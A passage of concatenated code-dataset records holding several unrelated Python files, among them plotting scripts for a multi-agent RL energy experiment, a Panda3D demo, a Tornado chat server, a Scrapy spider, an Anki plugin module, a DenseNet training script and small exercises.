7:\n                print(f\"Bye bye!\")\n                break\n        except ValueError:\n            print()\n\n    # End of while loop\n# End of select_option function\n\n\n# Main function\ndef main():\n    # Call the banner function\n    print_banner()\n\n    # Call the select_option function\n    select_option()\n\n# End of main function\n\n\nif __name__ == \"__main__\":\n    # Call the main function\n    main()\n\n# END OF FILE\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"67380442","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nDATA_ROOT_PATH = 'C:/GitHub/Multi-Agent-RL-Energy-Management/Visualisation/experiment_1'\nEXPORT_ROOT_PATH = 'C:/GitHub/Multi-Agent-RL-Energy-Management/Visualisation/export'\nSEEDS = [998]  # [998, 667, 11, 2148, 79]\nSCENARIO_COUNT = 1\nAGENT_COUNT = 4\nDATA_SIZE = 500\nAGENT_NAMES = [\n    [\"Machine 1\", \"Machine 2\", \"Machine 3\", \"Machine 4\"],\n    [\"Welding Machine\", \"CNC Machine\", \"Energy Storage\", \"Wind Turbine\"],\n    [\"Machine 1\", \"Machine 2\", \"Storage\", \"Generator\"],\n    [\"Machine 1\", \"Machine 2\", \"Storage\", \"Generator\"]\n]\n\n\ndef parse_raw_data(data_path):\n    rslt = {}\n    for scenario in range(SCENARIO_COUNT):\n        scenario_reward = {}\n        # Get cul_all rewards\n        cul_reward = []\n        for seed in SEEDS:\n            _path_all = os.path.normpath('{}/scenario_{}/{}/run-.-tag-cul_reward.csv'\n                                         .format(data_path, scenario, seed))\n            cul_reward.append(np.loadtxt(_path_all, skiprows=1, delimiter=','))\n        scenario_reward['all'] = np.array(cul_reward)[:, :DATA_SIZE]\n\n        # Get energy prices\n        tous = []\n        for seed in SEEDS:\n            _path_tous = os.path.normpath('{}/scenario_{}/{}/run-.-tag-current_energy_price.csv'\n                                         .format(data_path, scenario, seed))\n            tous.append(np.loadtxt(_path_tous, skiprows=1, delimiter=','))\n        scenario_reward['tou_prices'] = np.array(tous)[:, :DATA_SIZE]\n\n        # Get current power\n        power = []\n        for seed in SEEDS:\n            _path_power = os.path.normpath('{}/scenario_{}/{}/run-.-tag-current_system_power.csv'\n                                         .format(data_path, scenario, seed))\n            power.append(np.loadtxt(_path_power, skiprows=1, delimiter=','))\n        scenario_reward['power'] = np.array(power)[:, :DATA_SIZE]\n\n        # Get load profile\n        load = []\n        for seed in SEEDS:\n            _path_load = os.path.normpath('{}/scenario_{}/{}/run-.-tag-max_load_pofile.csv'\n                                         .format(data_path, scenario, seed))\n            load.append(np.loadtxt(_path_load, skiprows=1, delimiter=','))\n        scenario_reward['load'] = np.array(load)[:, :DATA_SIZE]\n\n        # Get production\n        load = []\n        for seed in SEEDS:\n            _path_production = os.path.normpath('{}/scenario_{}/{}/run-.-tag-production.csv'\n                                          .format(data_path, scenario, seed))\n            load.append(np.loadtxt(_path_production, skiprows=1, delimiter=','))\n        scenario_reward['production'] = np.array(load)[:, :DATA_SIZE]\n\n        # Get all agent rewards\n        for agent in range(AGENT_COUNT):\n            agent_reward = []\n            for seed in SEEDS:\n                _path_agent = os.path.normpath('{}/scenario_{}/{}/run-.-tag-cul_reward_agent_{}.csv'\n                                               .format(data_path, scenario, seed, agent))\n                agent_reward.append(np.loadtxt(_path_agent, skiprows=1, delimiter=','))\n            scenario_reward['agent_{}'.format(agent)] = np.array(agent_reward)[:, :DATA_SIZE]\n\n        rslt['scenario_{}'.format(scenario)] = scenario_reward\n    return rslt\n\n\ndef plot_learning_curve(train_sizes, train_scores, test_scores, title, alpha=0.2):\n    train_mean = np.mean(train_scores, axis=1)\n    train_std = np.std(train_scores, axis=1)\n    test_mean = np.mean(test_scores, axis=1)\n    test_std = np.std(test_scores, axis=1)\n    plt.plot(train_sizes, train_mean, label='train score', color='blue', marker='o')\n    plt.fill_between(train_sizes, train_mean + train_std,\n                     train_mean - train_std, color='blue', alpha=alpha)\n    plt.plot(train_sizes, test_mean, label='test score', color='red', marker='o')\n\n    plt.fill_between(train_sizes, test_mean + test_std, test_mean - test_std, color='red', alpha=alpha)\n    plt.title(title)\n    plt.xlabel('Number of training points')\n    plt.ylabel('F-measure')\n    plt.grid(ls='--')\n    plt.legend(loc='best')\n    plt.show()\n\n\ndef plot_validation_curve(param_range, train_scores, test_scores, title, alpha=0.2):\n    param_range = [x[1] for x in param_range]\n    sort_idx = np.argsort(param_range)\n    param_range = np.array(param_range)[sort_idx]\n    train_mean = np.mean(train_scores, axis=1)[sort_idx]\n    train_std = np.std(train_scores, axis=1)[sort_idx]\n    test_mean = np.mean(test_scores, axis=1)[sort_idx]\n    test_std = np.std(test_scores, axis=1)[sort_idx]\n    plt.plot(param_range, train_mean, label='train score', color='blue', marker='o')\n    plt.fill_between(param_range, train_mean + train_std,\n                     train_mean - train_std, color='blue', alpha=alpha)\n    plt.plot(param_range, test_mean, label='test score', color='red', marker='o')\n    plt.fill_between(param_range, test_mean + test_std, test_mean - test_std, color='red', alpha=alpha)\n    plt.title(title)\n    plt.grid(ls='--')\n    plt.xlabel('Weight of class 2')\n    plt.ylabel('Average values and standard deviation for F1-Score')\n    plt.legend(loc='best')\n    plt.show()\n\n\ndef plot_all_learning_curve(subplot, train_sizes, train_scores, title, alpha=0.2):\n    # These are the colors that will be used in the plot\n    # subplot.set_prop_cycle(color=[\n    #     '#1f77b4', '#aec7e8', '#ff7f0e', '#ffbb78', '#2ca02c', '#98df8a',\n    #     '#d62728', '#ff9896', '#9467bd', '#c5b0d5', '#8c564b', '#c49c94',\n    #     '#e377c2', '#f7b6d2', '#7f7f7f', '#c7c7c7', '#bcbd22', '#dbdb8d',\n    #     '#17becf', '#9edae5'])\n    # These are the colors that will be used in the plot\n    # subplot.set_prop_cycle(color=[\n    #     '#d62728', '#9467bd', '#8c564b',\n    #     '#e377c2', '#7f7f7f', '#bcbd22',\n    #     '#17becf'])\n\n    subplot.xaxis.set_tick_params(labelsize=8)\n    subplot.yaxis.set_tick_params(labelsize=8)\n\n    train_mean = np.mean(train_scores, axis=0)\n    train_std = np.std(train_scores, axis=0)\n\n    subplot.plot(train_sizes, train_mean,  color='tab:blue', label=\"Global Reward\")\n    subplot.fill_between(train_sizes, train_mean + train_std, train_mean - train_std, color='tab:blue', alpha=alpha)\n\n    subplot.set_title(title, fontsize='12', fontweight='bold')\n    subplot.set_xlabel('Episodes', fontsize='9')\n    subplot.set_ylabel('Global Reward', fontsize='9')\n    subplot.grid(ls='--')\n    # subplot.legend(loc='best')\n    # subplot.legend(frameon=True, fontsize=8)\n\n\ndef plot_agent_learning_curve(subplot, train_sizes, train_scores, title, alpha=0.2):\n\n    # These are the colors that will be used in the plot\n    subplot.set_prop_cycle(color=[\n        '#1f77b4', '#ff7f0e', '#2ca02c',\n        '#d62728', '#9467bd', '#8c564b',\n        '#e377c2', '#7f7f7f', '#bcbd22',\n        '#17becf'])\n\n    # Remove the plot frame lines. They are unnecessary here.\n    # subplot.spines['top'].set_visible(False)\n    # subplot.spines['bottom'].set_visible(False)\n    # subplot.spines['right'].set_visible(False)\n    # subplot.spines['left'].set_visible(False)\n    subplot.xaxis.set_tick_params(labelsize=8)\n    subplot.yaxis.set_tick_params(labelsize=8)\n\n    train_mean = np.mean(train_scores, axis=0)\n    train_std = np.std(train_scores, axis=0)\n\n    subplot.plot(train_sizes, train_mean,  label=title)\n    subplot.fill_between(train_sizes, train_mean + train_std,\n                     train_mean - train_std, alpha=alpha)\n\n    # subplot.set_title(title, fontsize='9')\n    subplot.set_xlabel('Episodes', fontsize='9')\n    subplot.set_ylabel('Reward', fontsize='9')\n    subplot.grid(ls='--')\n    # subplot.legend(loc='best')\n    subplot.legend(frameon=True, fontsize=8)\n\n\ndef plot_agents_learning_curve(subplot, agent_train_data_sizes, agent_train_data_scores, titles=None, alpha=0.2):\n    # These are the colors that will be used in the plot\n    subplot.set_prop_cycle(color=[\n        '#9467bd', '#ff7f0e', '#2ca02c',\n        '#d62728', '#bcbd22', '#8c564b',\n        '#e377c2', '#7f7f7f', '#17becf'])\n\n    # Remove the plot frame lines. They are unnecessary here.\n    subplot.xaxis.set_tick_params(labelsize=8)\n    subplot.yaxis.set_tick_params(labelsize=8)\n\n    for a in range(AGENT_COUNT):\n        train_mean = np.mean(agent_train_data_scores[a], axis=0)\n        train_std = np.std(agent_train_data_scores[a], axis=0)\n        _label = titles[a] if not titles is None else 'agent_{}'.format(a)\n        subplot.plot(agent_train_data_sizes[a], train_mean, label=_label)\n        subplot.fill_between(agent_train_data_sizes[a], train_mean + train_std,\n                             train_mean - train_std, alpha=alpha)\n\n    # subplot.set_title(title, fontsize='9')\n    subplot.set_xlabel('Episodes', fontsize='9')\n    subplot.set_ylabel('Reward', fontsize='9')\n    subplot.grid(ls='--')\n    subplot.legend(loc='best')\n    subplot.legend(frameon=True, fontsize=8)\n\n\ndef plot_plant_performance(subplot, production__sizes, production_performance, _power_consumtions, alpha=0.7):\n    # Prepare the data\n    production_performance_mean = np.mean(production_performance, axis=0)\n    power_consumptions_mean = np.mean(_power_consumtions, axis=0)\n\n    ax2 = subplot.twinx()  # instantiate a second axes that shares the same x-axis\n\n    # Remove the plot frame lines. They are unnecessary here.\n    ax2.xaxis.set_tick_params(labelsize=8)\n    ax2.yaxis.set_tick_params(labelsize=8)\n    ax2.grid(ls='--')\n    ax2.grid(False)\n    ax2.plot(production__sizes, production_performance_mean, linewidth=2,\n                 color='tab:green', label=\"Executed Production Tasks\")\n    ax2.set_xlabel('Episodes', fontsize='9')\n    ax2.set_ylabel('Executed Production Tasks', fontsize='9')\n    ax2.legend(loc='best')\n    ax2.legend(frameon=True, fontsize=8)\n    # ax2.set_title(\"TOU price ($/kWh)\", fontsize='9')\n\n    # ax2.legend(loc='best', frameon=True, fontsize=8)\n    subplot.plot(production__sizes, power_consumptions_mean, color='tab:blue', label=\"Current Power\")\n    subplot.fill_between(production__sizes, power_consumptions_mean, 0, color='tab:blue', alpha=alpha)\n    subplot.set_ylabel('Power (kWh)', fontsize='9')\n    # subplot.tick_params(axis='y', rotation=0, labelcolor='tab:blue')\n    subplot.tick_params(axis='y', rotation=0)\n    subplot.xaxis.set_tick_params(labelsize=8)\n    subplot.yaxis.set_tick_params(labelsize=8)\n\n\ndef plot_energy_costs(subplot, train_sizes, energy_prices, power_consumptions, alpha=0.7):\n    # Prepare the data\n    energy_prices_mean = np.mean(energy_prices, axis=0)\n    power_consumptions_mean = np.mean(power_consumptions, axis=0)\n    energy_cost_mean = np.multiply(energy_prices_mean, power_consumptions_mean)\n\n    ax2 = subplot.twinx()  # instantiate a second axes that shares the same x-axis\n\n    subplot.plot(train_sizes, energy_cost_mean, color='tab:blue', label=\"Energy Cost ($/h)\")\n    subplot.fill_between(train_sizes, energy_cost_mean, 0, color='tab:blue', alpha=alpha)\n    # subplot.tick_params(axis='y', rotation=0, labelcolor='tab:blue')\n    subplot.tick_params(axis='y', rotation=0)\n    subplot.xaxis.set_tick_params(labelsize=8)\n    subplot.yaxis.set_tick_params(labelsize=8)\n    subplot.set_ylabel('Energy Cost ($/h)', fontsize='9')\n    # subplot.legend(loc='best')\n    # subplot.legend(frameon=True, fontsize=8)\n\n    # Remove the plot frame lines. They are unnecessary here.\n    ax2.xaxis.set_tick_params(labelsize=8)\n    ax2.yaxis.set_tick_params(labelsize=8)\n    ax2.plot(train_sizes, energy_prices_mean,  '-.', linewidth=2,\n                 color='tab:brown', label=\"TOU price ($/kWh)\")\n\n    # ax2.set_title(\"TOU price ($/kWh)\", fontsize='9')\n    ax2.set_xlabel('Episodes', fontsize='9')\n    ax2.set_ylabel('TOU price ($/kWh)', fontsize='9')\n    ax2.grid(ls='--')\n    ax2.legend(loc='best')\n    ax2.legend(frameon=True, fontsize=8)\n    ax2.grid(False)\n\n\nif __name__ == '__main__':\n    raw_data = parse_raw_data(DATA_ROOT_PATH)\n\n    # Configure the Plot\n    plt.style.use('ggplot')\n\n    # fig, axes = plt.subplots(3, SCENARIO_COUNT, sharex=True, figsize=(20, 9))\n    fig, axes = plt.subplots(2, SCENARIO_COUNT, figsize=(10, 5.4))\n\n    scenario_data = raw_data['scenario_{}'.format(0)]\n    # Agent rewards\n    a_data_sizes = []\n    a_data_scores = []\n    for agent in range(AGENT_COUNT):\n        agent_train_sizes = np.arange(scenario_data['agent_{}'.format(agent)].shape[1])\n        agent_train_scores = scenario_data['agent_{}'.format(agent)][:, :, 2]\n\n        a_data_sizes.append(agent_train_sizes)\n        a_data_scores.append(agent_train_scores)\n\n    plot_agents_learning_curve(axes[0], agent_train_data_sizes=a_data_sizes,\n                               agent_train_data_scores=a_data_scores, titles=AGENT_NAMES[0], alpha=0.2)\n\n    # Production and Energy Costs\n    production_sizes = np.arange(scenario_data['production'].shape[1])\n    production_performances = scenario_data['production'][:, :, 2]\n    energy_prices_sizes = np.arange(scenario_data['tou_prices'].shape[1])\n    energy_prices = scenario_data['tou_prices'][:, :, 2]\n    power_sizes = np.arange(scenario_data['power'].shape[1])\n    power_consumptions = scenario_data['power'][:, :, 2]\n\n    # Production\n    plot_plant_performance(axes[1], production__sizes=production_sizes,\n                           production_performance=production_performances,\n                           _power_consumtions=power_consumptions,\n                           alpha=0.5)\n\n    fig.tight_layout()\n\n    _save_path_pdf = os.path.normpath('{}/scenario_1_result.pdf'.format(EXPORT_ROOT_PATH))\n    _save_path_svg = os.path.normpath('{}/scenario_1_result.svg'.format(EXPORT_ROOT_PATH))\n    _save_path_png = os.path.normpath('{}/scenario_1_result.png'.format(EXPORT_ROOT_PATH))\n    plt.savefig(_save_path_pdf, bbox_inches='tight')\n    plt.savefig(_save_path_svg)\n    plt.savefig(_save_path_png, dpi=300, transparent=True)\n\n    plt.show()\n","sub_path":"Visualisation/learning_curve_experiment_1.py","file_name":"learning_curve_experiment_1.py","file_ext":"py","file_size_in_byte":13749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"520120613","text":"from direct.showbase.ShowBase import ShowBase\nfrom direct.actor.Actor import Actor\nfrom math import pi\n\nimport sho\n\ndef cooTransform(cp):\n    #cp.y, cp.z = cp.z, cp.y\n    #cp.ty, cp.tz = cp.tz, cp.ty\n    return cp\n\nclass MyApp(ShowBase):\n \n    def __init__(self):\n        ShowBase.__init__(self)\n        # self.cube = Actor(\"models/panda-model\", {\"walk\": \"models/panda-walk4\"})\n        # self.cube.reparentTo(self.render)\n        # self.cube.setScale(0.005, 0.005, 0.005)\n        # self.cube.setPos(-3, 10, 0)\n        # self.cube.loop(\"walk\")\n\n        self.cube = self.loader.loadModel(\"teapot\")\n        self.cube.reparentTo(self.render)\n        self.cube.setScale(1, 1, 1)\n        self.cube.setPos(-3, 10, 5)\n\n        self.environ = self.loader.loadModel(\"models/environment\")\n        self.environ.reparentTo(self.render)\n        self.environ.setScale(0.25, 0.25, 0.25)\n        self.environ.setPos(-8, 42, -10)\n        self.camera.setX(0)\n        self.camera.setY(0)\n        self.camera.setZ(0)\n\n        self.taskMgr.add(self.taskFunction, \"test\")\n\n    def taskFunction(self, task):\n        camPos = cooTransform(sho.PTAMCAM())\n        self.cube.setX(camPos.x)\n        self.cube.setY(camPos.y)\n        self.cube.setZ(camPos.z)\n        #self.cube.setZ(-camPos.y+1)\n\n        #self.camera.setX(camPos.x)\n        # self.camera.setY(self.camera.getY() + 5)\n        #self.camera.setZ(camPos.y)\n        angDegX = (camPos.tx / pi) * 180.0\n        angDegY = (camPos.ty / pi) * 180.0\n        angDegZ = (camPos.tz / pi) * 180.0\n        #print(camPos.x, camPos.y, camPos.z)\n        #print angDegY\n        #self.cube.setColor(240, 90, 8, 240)\n        #self.camera.setHpr(-angDegY, 0, 0)\n        #self.cube.setHpr(-angDegY+90, -angDegZ, 0)\n        self.cube.setHpr(angDegX, angDegY, angDegZ)\n        #self.cameraPositionNode.setHpr(angGe\n        # self.cube.setHpr(angDegX, angDegY, angDegZ)\n        return task.cont\n\napp = MyApp()\napp.run()\n\n","sub_path":"panda/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"114111968","text":"#!/usr/bin/env python  \n# -*- coding:utf-8 -*-v\n\nimport tornado.web\nimport tornado.httpserver\nimport tornado.ioloop\n\nimport MySQLdb\nimport config.mysql\nimport config.app\nfrom chat_handler import chat_handler\n\nclass Application( tornado.web.Application ):\n\n    def __init__( self ):\n\n        self.database = MySQLdb.connect( \n            host    = config.mysql.host, \n            user    = config.mysql.user, \n            passwd  = config.mysql.password,\n            db      = config.mysql.database,\n            charset = config.mysql.charset,\n            port    = config.mysql.port )\n\n        handlers = [ (r'/chat/(\\w+)', chat_handler ) ]\n\n        settings = {\n            'cookie_secret': config.app.cookie_secret,\n            'template_path': 'templates',\n            'static_path': 'static',\n            'debug': True\n        }\n\n        tornado.web.Application.__init__( self, handlers, **settings )\n\nif __name__ == '__main__':\n    app = Application()\n\n    server = tornado.httpserver.HTTPServer( app )\n    server.listen( 8080 )\n    tornado.ioloop.IOLoop.instance().start()","sub_path":"chat/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"512629759","text":"'''\n题目：\n编写input()和output()函数输入，输出5个学生的数据记录。\n\n程序分析：\n无。\n'''\n# !/usr/bin/python\n# _*_ coding: UTF-8 _*_\n\nN = 3\nstudent = []\nfor i in range(5):\n\tstudent.append(['','',[]])\n\t\ndef input_stu(stu):\n\tfor i in range(N):\n\t\tstu[i][0] = input('input student num: ')\n\t\tstu[i][1] = input('input student name: ')\n\t\tfor j in range(3):\n\t\t\tstu[j][2].append(int(input('score: ')))\n\t\t\t\ndef ouput_stu(stu):\n\tfor i in range(N):\n\t\tprint('%-6s%-10s' % (stu[i][0], stu[i][1]))\n\t\tfor j in range(3):\n\t\t\tprint('%-8d' % stu[i][2][j])\n\t\t\t\ninput_stu(student)\nprint(student)\nouput_stu(student)","sub_path":"Python/Sample 100/071.py","file_name":"071.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"35765289","text":"#-*- coding:utf-8 -*-\r\n#\r\n# Copyright (C) 2018 sthoo <sth201807@gmail.com>\r\n#\r\n# Support: Report an issue at https://github.com/sth2018/FastWordQuery/issues\r\n#\r\n# This program is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# any later version; http://www.gnu.org/copyleft/gpl.html.\r\n#\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n\r\nfrom collections import defaultdict\r\nimport os\r\nimport shutil\r\nimport unicodedata\r\n\r\nfrom aqt import mw\r\nfrom aqt.utils import showInfo, showText, tooltip\r\n\r\nfrom .worker import QueryWorkerManager\r\nfrom .common import promot_choose_css, inspect_note\r\n\r\nfrom ..constants import Endpoint, Template\r\nfrom ..context import config\r\nfrom ..lang import _\r\nfrom ..gui import ProgressWindow\r\nfrom ..service import service_manager, service_pool, QueryResult, copy_static_file\r\nfrom ..service.base import LocalService\r\nfrom ..utils import Empty, MapDict, Queue, wrap_css\r\n\r\n\r\n__all__ = ['query_from_browser', 'query_from_editor_fields']\r\n\r\n\r\ndef query_from_browser(browser):\r\n    \"\"\"\r\n    Query word from Browser\r\n    \"\"\"\r\n\r\n    if not browser:\r\n        return\r\n\r\n    notes = [browser.mw.col.getNote(note_id)\r\n             for note_id in browser.selectedNotes()]\r\n\r\n    if len(notes) == 1:\r\n        query_from_editor_fields(browser.editor)\r\n    else:\r\n        query_all(notes)\r\n        # browser.model.reset()\r\n\r\n\r\ndef query_from_editor_fields(editor, fields=None):\r\n    \"\"\"\r\n    Query word fileds from Editor\r\n    \"\"\"\r\n\r\n    if not editor or not editor.note:\r\n        return\r\n\r\n    word_ord, word, maps = inspect_note(editor.note)\r\n    flush = not editor.addMode\r\n    nomaps = True\r\n    for each in maps:\r\n        dict_unique = each.get('dict_unique', '').strip()\r\n        ignore = each.get('ignore', True)\r\n        if dict_unique and not ignore:\r\n            nomaps = False\r\n            break\r\n    if nomaps:\r\n        from ..gui import show_options\r\n        tooltip(_('PLS_SET_DICTIONARY_FIELDS'))\r\n        show_options(\r\n            editor.parentWindow,\r\n            editor.note.model()['id'],\r\n            query_from_editor_fields,\r\n            editor,\r\n            fields\r\n        )\r\n    else:\r\n        editor.setNote(editor.note)\r\n        query_all([editor.note], flush, fields)\r\n        editor.setNote(editor.note, focusTo=0)\r\n        editor.saveNow(lambda:None)\r\n\r\n\r\ndef query_all(notes, flush=True, fields=None):\r\n    \"\"\"\r\n    Query maps word fileds\r\n    \"\"\"\r\n\r\n    if len(notes) == 0:\r\n        return\r\n\r\n    work_manager = QueryWorkerManager()\r\n    #work_manager.reset()\r\n    #progress.start(max=len(notes), min=0, immediate=True)\r\n    work_manager.flush = flush\r\n    work_manager.query_fields = fields\r\n    queue = work_manager.queue\r\n\r\n    for note in notes:\r\n        queue.put(note)\r\n\r\n    work_manager.start()\r\n    work_manager.join()\r\n\r\n    #progress.finish()\r\n    promot_choose_css(work_manager.missed_css)\r\n    tooltip(u'{0} {1} {2}, {3} {4}'.format(_('UPDATED'), work_manager.counter, _(\r\n        'CARDS'), work_manager.fields, _('FIELDS')))\r\n    #work_manager.clean()\r\n    service_pool.clean()\r\n","sub_path":"query/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"597355642","text":"import d2lzh as d2l\nfrom mxnet import gluon, init, nd\nfrom mxnet.gluon import nn\n\n#DenseNet模型\nnet = nn.Sequential()\nnet.add(nn.Conv2D(64, kernel_size=7, strides=2, padding=3),\n        nn.BatchNorm(), nn.Activation('relu'),\n        nn.MaxPool2D(pool_size=3, strides=2, padding=1))\n\nnum_channels, growth_rate = 64, 32 # num_channels：当前的通道数。\nnum_convs_in_dense_blocks = [4, 4, 4, 4]\nfor i, num_convs in enumerate(num_convs_in_dense_blocks):\n        net.add(d2l.DenseBlock(num_convs, growth_rate))\n        # 上⼀个稠密的输出通道数。\n        num_channels += num_convs * growth_rate\n        # 在稠密块之间加⼊通道数减半的过渡层。\n        if i != len(num_convs_in_dense_blocks) - 1:\n                net.add(d2l.transition_block(num_channels // 2))\n\nnet.add(nn.BatchNorm(), nn.Activation('relu'), nn.GlobalAvgPool2D(), nn.Dense(10))\n\n#获取数据并训练\nlr, num_epochs, batch_size, ctx = 0.1, 5, 256, d2l.try_gpu()\nnet.initialize(ctx=ctx, init=init.Xavier())\ntrainer = gluon.Trainer(net.collect_params(), 'sgd', {'learning_rate': lr})\ntrain_iter, test_iter = d2l.load_data_fashion_mnist1(batch_size, resize=96)\nd2l.train_cnn(net, train_iter, test_iter, batch_size, trainer, ctx,num_epochs)\n","sub_path":"CNN/DenseNet.py","file_name":"DenseNet.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"135526280","text":"# Find Second Maximum Value in a List\r\n\r\n# Optimal Approach\r\n# Time - O(n)\r\n# Space - O(1)\r\n\r\ndef largest(arr, n):\r\n    lar_1 = lar_2 = -2147483648\r\n    if n < 2:\r\n        return \"Error!\"\r\n    for i in range(len(arr)):\r\n        if arr[i] > lar_1:\r\n            lar_2 = lar_1\r\n            lar_1 = arr[i]\r\n        elif arr[i] > lar_2 and arr[i] < lar_1:\r\n            lar_2 = arr[i]\r\n    return lar_2\r\n\r\n\r\narr = [12, 35, 1, 10, 34, 1]\r\nprint(largest(arr, len(arr)-1))\r\n","sub_path":"Second Maximum Value in a List.py","file_name":"Second Maximum Value in a List.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"247074522","text":"from player import Player\r\n\r\n\r\nclass Map:\r\n    def __init__(self, roads):\r\n        \"\"\"\r\n        :param roads: all the roads that connect two towers\r\n        :type roads: set\r\n        \"\"\"\r\n        self.roads = roads\r\n\r\n    def move(self, tower1, tower2):\r\n        \"\"\"\r\n        :param tower1: the source tower for the warriors\r\n        :type tower1: Tower\r\n        :param tower2: the destination tower for the warriors\r\n        :type tower2: Tower\r\n        \"\"\"\r\n        for road in self.roads:\r\n            if road.tower1 == tower1 and road.tower2 == tower2:\r\n                road.move_tower1_to_tower2()\r\n            if road.tower1 == tower2 and road.tower2 == tower1:\r\n                road.move_tower2_to_tower1()\r\n\r\n    def winner(self):\r\n        \"\"\"\r\n        checks who the winner, if any yet, of the game\r\n        :return: teh winner, or None if there is no wining player\r\n        :rtype: Player\r\n        \"\"\"\r\n        players_with_towers = set()\r\n        for road in self.roads:\r\n            players_with_towers.add(road.tower1.team)\r\n            players_with_towers.add(road.tower2.team)\r\n        if len(players_with_towers) == 1:\r\n            return next(iter(players_with_towers))\r\n        elif len(players_with_towers) == 2:\r\n            teams = iter(players_with_towers)\r\n            first_team = next(teams)\r\n            second_team = next(teams)\r\n            if first_team == \"Gray\":\r\n                return second_team\r\n            elif second_team == \"Gray\":\r\n                return first_team\r\n            else:\r\n                return None\r\n        else:\r\n            return None\r\n","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"562619169","text":"# -*- encoding:utf-8 -*-\nfrom scrapy.spiders import Spider\nimport scrapy\nfrom scrapy.selector import Selector\nimport io,sys\nimport re\n\nclass Dazhongdianping(Spider):\n    name = 'dazhongdianping'\n    allowed_domins = []\n    start_urls = ['http://www.dianping.com/']\n\n    def parse(self, response):\n        a = input('请输入您要查找的内容:')\n        # print(response.url)\n        url = 'https://www.dianping.com/search/keyword/2/0_' + a\n        yield scrapy.Request(url=url,callback=self.parse_item)\n\n    def parse_item(self,response):\n        sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='gb18030')\n        sel = Selector(response)\n        all_li = sel.xpath(\"//div[@id='shop-all-list']/ul/li\")\n        for li in all_li:\n            try:\n                link = li.xpath(\"./div[@class='txt']/div[@class='tit']/a/h4/text()\").extract()\n                if link == []:\n                    raise Exception('title is null')\n                else:\n                    link = link[0]\n                # print(link)\n            except:\n                print('名字不能为空')\n        all_ids = sel.xpath(\"//ul/li//div[@class='tit']/a/@data-shopid\").extract()\n        all_id = set(all_ids)\n        for id in all_id:\n            url = 'http://www.dianping.com/shop/' + str(id)\n            yield scrapy.Request(url=url,callback=self.parse_xiangxi)\n\n    def parse_xiangxi(self,response):\n        pass\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"spiders/dazhongdianping.py","file_name":"dazhongdianping.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"37201841","text":"# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Generates pybind11 type casters based on Clif_PyObjFrom and Clif_PyObjAs.\"\"\"\n\nimport os\nimport re\nimport types\n\nfrom typing import Generator, List, Set\n\nfrom clif.protos import ast_pb2\nfrom clif.pybind11 import utils\n\n\nI = utils.I\n_PYOBJFROM_ONLY = ', HasPyObjFromOnly'\n_PYOBJAS_ONLY = ', HasPyObjAsOnly'\n_PYBIND11_IGNORE = ', Pybind11Ignore'\n_CLIF_USE = re.compile(\n    r'// *CLIF:? +use +`(?P<cpp_name>.+)` +as +(?P<py_name>[\\w.]+)'\n    f'({_PYOBJFROM_ONLY}|{_PYOBJAS_ONLY}|{_PYBIND11_IGNORE}|)')\n\n\ndef get_imported_types(ast: ast_pb2.AST,\n                       include_paths: List[str]) -> Set[str]:\n  \"\"\"Get cpp types that are imported from other header files.\"\"\"\n  result = set()\n  includes = set(ast.usertype_includes)\n  for include in includes:\n    if include.endswith('_clif.h'):\n      clif_uses = _get_clif_uses(include, include_paths)\n      for clif_use in clif_uses:\n        result.add(clif_use.cpp_name)\n  return result\n\n\ndef _get_clif_uses(\n    include: str, include_paths: List[str]) -> List[types.SimpleNamespace]:\n  \"\"\"Get all lines that are like `// CLIF use <cpp_name> as <py_name>`.\"\"\"\n  results = []\n  for root in include_paths:\n    try:\n      with open(os.path.join(root, include)) as include_file:\n        lines = include_file.readlines()\n        for line in lines:\n          use = _CLIF_USE.match(line)\n          if use and _PYBIND11_IGNORE not in use[0]:\n            results.append(types.SimpleNamespace(\n                cpp_name=use.group('cpp_name'), py_name=use.group('py_name'),\n                generate_load=_PYOBJFROM_ONLY not in use[0],\n                generate_cast=_PYOBJAS_ONLY not in use[0]))\n      break\n    except IOError:\n      # Failed to find the header file in one directory. Try other\n      # directories.\n      pass\n    else:\n      raise NameError('include 